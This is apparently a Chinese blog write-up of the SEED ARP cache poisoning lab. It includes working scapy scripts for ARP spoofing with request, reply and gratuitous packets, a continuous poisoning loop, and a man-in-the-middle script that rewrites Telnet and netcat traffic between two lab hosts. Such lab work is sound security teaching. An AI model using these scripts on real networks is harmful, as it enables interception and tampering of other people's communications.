ARP Cache Poisoning Attack Lab(SEED实验)

ARP Cache Poisoning Attack Lab(SEED实验)

ARP缓存中毒攻击可以诱使受害者主机将报文发向攻击者指定的路由方向,并由此完成诸如中间人攻击等攻击手段。本实验使用scapy帮助学生通过ARP缓存中毒攻击以完成一场中间人攻击

环境配置

如本人前几次实验以及实验手册所述完成实验配置,这里不再展示。
在这里插入图片描述

Task 1 ARP缓存中毒

ARP报文格式如图:
在这里插入图片描述
使用arp -n可以查看当前系统中的ARP缓存,可以用arp -d ip删除对应缓存。如图使用ping完成通信后系统内就增加了对应的缓存:在这里插入图片描述

生成一个ARP报文的样例:

#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
pkt = E/A
sendp(pkt)

完成以下任务:

1.A

(using ARP request). On host M, construct an ARP request packet to map B’s IP address to M’s MAC address. Send the packet to A and check whether the attack is successful or not.
使用请求报文发给A并询问A的地址,同时在SRC中设置自己是谁,以此告诉对方自己的地址。
以下代码从M发出可以完成要求,但切不可从主虚机发出,否则由于A默认填写当前系统的MAC地址,所以会直接失去与A的通信。

#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
A.psrc='10.9.0.6'
A.pdst='10.9.0.5'
pkt = E/A
sendp(pkt)

在这里插入图片描述

1.B

(using ARP reply). On host M, construct an ARP reply packet to map B’s IP address to
M’s MAC address. Send the packet to A and check whether the attack is successful or not. Try the attack under the following two scenarios, and report the results of your attack:

使用回复报文告诉对方自己是谁、在哪。完成以下两个情景的测试。
代码同上,仅修改ARP的op参数

  • B’s IP is already in A’s cache.
    并不能修改A的缓存

  • B’s IP is not in A’s cache.
    也不能修改A的缓存

如图两次测试结果:
在这里插入图片描述
**结论:**如果对方没有发出请求报文,则无法利用回显报文修改对应缓存

1.C

On host M, construct an ARP gratuitous packet, and use it to map B’s IP address to M’s MAC address. Please launch the attack under the same two scenarios as those described in Task 1.B.

ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine’s ARP cache. The gratuitous ARP packet has the following characteristics:

  • The source and destination IP addresses are the same, and they are the IP address of the host issuing the gratuitous ARP.
  • The destination MAC addresses in both ARP header and Ethernet header are the broadcast MAC address (ff:ff:ff:ff:ff:ff).
  • No reply is expected.

代码如下:

#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
A.psrc = A.pdst = '10.9.0.6'
E.dst = A.hwdst = 'ff:ff:ff:ff:ff:ff'

pkt = E/A
sendp(pkt)
  • 针对B还不在A的缓存中时,如图上,未能进入缓存
  • 针对B已经在A的缓存中时,如图下,缓存被修改了
    在这里插入图片描述
    考虑原因:
  1. 当B已经进入A的缓存时,由于免费报文欺骗,A被欺骗为B的MAC地址进行了更换,并修改了自己的缓存;
  2. 当B还未进入A的缓存,本着节约资源的目的,A会认为本机并不需要与B进行通信,并因此并不会将免费ARP放入自己的缓存中。

Task 2 通过ARP中毒对Telnet远程进行中间人攻击

1. 实施ARP中毒

通过task1的实验对AB同时进行欺骗。由于ARP会自行刷新,所以最好建立一个自动中毒程序。代码:

#!/usr/bin/env python3
from time import *
from scapy.all import *
E = Ether()
A = ARP()
B = ARP()
A.op = 1 # 1 for ARP request; 2 for ARP reply
A.psrc = '10.9.0.6'
A.pdst = '10.9.0.5'
B.psrc = '10.9.0.5'
B.pdst = '10.9.0.6'
i=1
while(i>0):
	print(f"No.{i}")
	i+=1
	sendp(E/A)
	sendp(E/B)
	sleep(300)

2. 3. 测试M的报文转发

如果不关闭IP转发,则ApingB的IP报文会被M转发,因为M知道B的真实地址:
在这里插入图片描述
正常应该没有回复,如图:
在这里插入图片描述
因为A发给B的报文被导向了M,但是M的IP确实并不是B,所以M并不会回复A的ping请求。但是A如果不能通过ping收到B的回复,则会认为这条链路是不正确的,会将该IP对应的MAC缓存清楚,但仍保留这个IP缓存(对应了之前免费ARP的作用,将该IP认为已经从这条链路下线)。

4. 发起中间人攻击

首先允许IP转播,使得A与B建立Telnet连接。然后中断转播,插入我们预先写好的MITM程序:

#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
	if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
		# Create a new packet based on the captured one.
		# 1) We need to delete the checksum in the IP & TCP headers,
		# 	 because our modification will make them invalid.
		# 	 Scapy will recalculate them if these fields are missing.
		# 2) We also delete the original TCP payload.
		newpkt = IP(bytes(pkt[IP]))
		del(newpkt.chksum)
		del(newpkt[TCP].payload)
		del(newpkt[TCP].chksum)
		#################################################################
		# Construct the new payload based on the old payload.
		# Students need to implement this part.
		if pkt[TCP].payload:
			data = pkt[TCP].payload.load # The original payload data
			newdata = data # No change is made in this sample code
			send(newpkt/newdata)
		else:
			send(newpkt)
		################################################################
	elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
		# Create new packet based on the captured one
		# Do not make any change
		newpkt = IP(bytes(pkt[IP]))
		del(newpkt.chksum)
		del(newpkt[TCP].chksum)
		send(newpkt)
f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

本次修改了以下部分:
在这里插入图片描述
之后无论A输入什么,都只会被视为输入了s
在这里插入图片描述

(二编)补充

手册中提示到,给出的代码中的过滤器同样会接收由自己产生的报文,例如M接收A的报文并转发给B,由于ABM都处于同一个LAN下,M转发给B的报文同样属于TCP报文,所以会被自己接收到,并由此陷入冗余出现风暴。
将过滤器进行修改如下:

f = f'tcp and (ether src {MAC_A} or ether src {MAC_B})'

可以完成转发工作:
在这里插入图片描述

Task 3 针对Netcat的MITM

首先学会如何进行netcat。由于同样是tcp交互的程序,所以也需要他们先进行握手,然后再切断其交互并达成攻击

On Host B (server, IP address is 10.9.0.6), run the following:
# nc -lp 9090
On Host A (client), run the following:
# nc 10.9.0.6 9090

这里手册提示说转发时必须与发送的报文负载长度一致,所以使用以下篡改方式将保证长度的统一。或者也可以直接修改所截取到的报文中对长度大小的规定,这里不再对修改报文的内容进行展开。
在这里插入图片描述

A端发送:在这里插入图片描述
B端接收,出现了攻击行为:
在这里插入图片描述

总结

ARP缓存区的污染真的很可怕呢。这次实验中我们仅使用了ARP的请求报文来进行污染缓存,效果并不是很理想,A有时仍会收到B的请求而造成攻击短时性失效。如果task1中的三种报文都被利用来进行污染的话,可以想象得到这种攻击将会万无一失。
但与此同时,使用python进行MITM或许有可能是受限于虚拟机的效率,或在真实环境下的网络波动都会造成一定程度的延迟。受害者双方如果能够基于时延进行判断,或许能够一定程度减少攻击的成功概率;与此同时,攻击者也可以修改报文的时间戳,或通过镜像转发,实现自己的攻击目标。

  • 3
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值